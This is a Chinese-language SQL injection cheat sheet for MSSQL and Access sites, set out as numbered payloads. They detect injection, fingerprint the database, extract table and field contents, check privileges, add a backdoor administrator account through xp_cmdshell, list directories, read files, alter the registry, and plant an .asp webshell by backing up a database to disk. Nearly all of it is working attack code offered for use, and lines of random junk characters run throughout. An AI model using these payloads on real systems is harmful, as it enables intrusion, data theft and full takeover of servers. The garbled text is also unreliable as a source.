1.判断是否有注入;and 1=1 ;and 1=2 5wE+p<-KX
2.初步判断是否是mssql ;and user>0 +nIjW;RU
DXa!"ZU
3.注入参数是字符'and [查询条件] and ''=' i-jrF6&
,<CFjtelO
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6*aU^#Hz6
=,Zkg(M
5.判断数据库系统 2FVO@D
"y9]>9:$-
;and (select count(*) from sysobjects)>0 mssql hEh` cBO
%&5PZmnW
;and (select count(*) from msysobjects)>0 access /g]NC?
IDY2X+C#U
!,cLc}a
QomihQnc
6.猜数据库 ;and (select Count(*) from [数据库名])>0 : MEB] }
Q M) ob
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 #FhgKwx
mx!EuF$I
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8}?wi[T
2JhE`EVH
9.(1)猜字段的ascii值(access) X
T<SR]
"!B\c9q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 gTQc=,3l3
FKH_o
(2)猜字段的ascii值(mssql) FX
%(<M
v;sWI"Fv!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 |muZv!,E
vf@toYc[E
10.测试权限结构(mssql) iAr]Ed"9|
yno X=#`
xxQgX~'x
V<i_YLYmJe
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <~Oy3#{
AX] cM)w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1KadT7<0}
@$|8zPs
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- "(YfvO+
#z5$_z?_
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- so>jz@!EE
]@6L,+W"
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 98rO]rg
RI3GAd
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Gspb\HJ^
pt%*Y.)az
;and 1=(select IS_MEMBER('db_owner'));-- j0~dJ#
)tv~N7
=.]{OT
| Kq<}R
11.添加mssql和系统的帐户 aT~=<rEDy
iOB*K)U1
;exec master.dbo.sp_addlogin username;-- $Xr4=9(|7
;exec master.dbo.sp_password null,username,password;-- {
V$}qa{P
.Q!p Q"5
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- s>I~%+V.?:
W) ?s''WE;
;exec master.dbo.xp_cmdshell 'net user username password F|&%Z(@a
n#S?fsQN
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :I2spBx
) E*-
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Kw =RqF
98Y1-Z^ .
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- RDOV+2K
oi7Y?hTj
8xt8kf*k
4jw q$G
12.(1)遍历目录 _/NPXDL
)tx2lyY:
;create table dirs(paths varchar(100), id int) 9hei8L:
Ov;q]Vn>
;insert dirs exec master.dbo.xp_dirtree 'c:\' ?P;=_~X
J6mUU3F9f
;and (select top 1 paths from dirs)>0 HBm(l@#.
jG%J.u^k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) { ^Rr:+
%x8vvcO^t
|,T"_R_K
ujLje:Yc
(2)遍历目录 .umN>/o[
XzB3Xs?W2
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ]zz%gZz
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )Vo%}g?6!
i8!err._
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 XZ"oOE0=
>?jmeD3u
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 D^S"6v"z
c27Zh=;Tj
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ' L-h2
kvN<o-B
i(YR-vYK
?L"x>$
13.mssql中的存储过程 -Dwe,N"{2
3$3%W<&^
xp_regenumvalues 注册表根键, 子键 bD=R/yA
;!j/t3#a
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ~xJ^YkyH
`o0ISJeKp
xp_regread 根键,子键,键值名 |\RN%w7E8
XO5E-Nh
;exec xp_regread "iJAM`Hi
5O~;^0iC
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 *G[` T%g
Mehp]5*
xp_regwrite 根键,子键, 值名, 值类型, 值 24*3m&fA*K
t$PJ*F67M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 (ZP e{;L.
1U(!%},
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 p.5 *`, )
_6->D[dB
xp_regdeletevalue 根键,子键,值名 ]}pAZd
AMN`bgxW
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 _ucixM#
Li+|%a
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 i "aQm
.uB[zJc
C't%e
0R;`)V\^
14.mssql的backup创建webshell rS0#]Gg
Hp@cBj_@P2
use model *f SX3Dk
`(]mUW
create table cmd(str image); @ev^e!B
PiLLUyQx
insert into cmd(str) values (''); (L!u[e0[#
;L,yJ~
backup database model to disk='c:\l.asp'; D=B :tP
&`_|[Y ]H
_zLEHEZ-
\}Kad\)
15.mssql内置函数 W$`
WkR
+!t *LSF
;and (select @@version)>0 获得Windows的版本号 I]B9+Z?xo
5a/3nsup5
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \5b<!Nl
=nCV.Wf
;and (select user_name())>0 爆当前系统的连接用户 mo]>Um'F
bBQHxH}vi
;and (select db_name())>0 得到当前连接的数据库 fN
1:'d
9Dyw4'W.N
NM1TFs2Y*
T{
lm
z<g
16.简洁的webshell ^.M_1$-
w_YY~Af
use model nZ`=Up p)
z.W1Za
create table cmd(str image); Xg;q\GS/<i
+EZr@
insert into cmd(str) values (''); >P6U0
! &V,+}>)
backup database model to disk='g:\wwwtest\l.asp';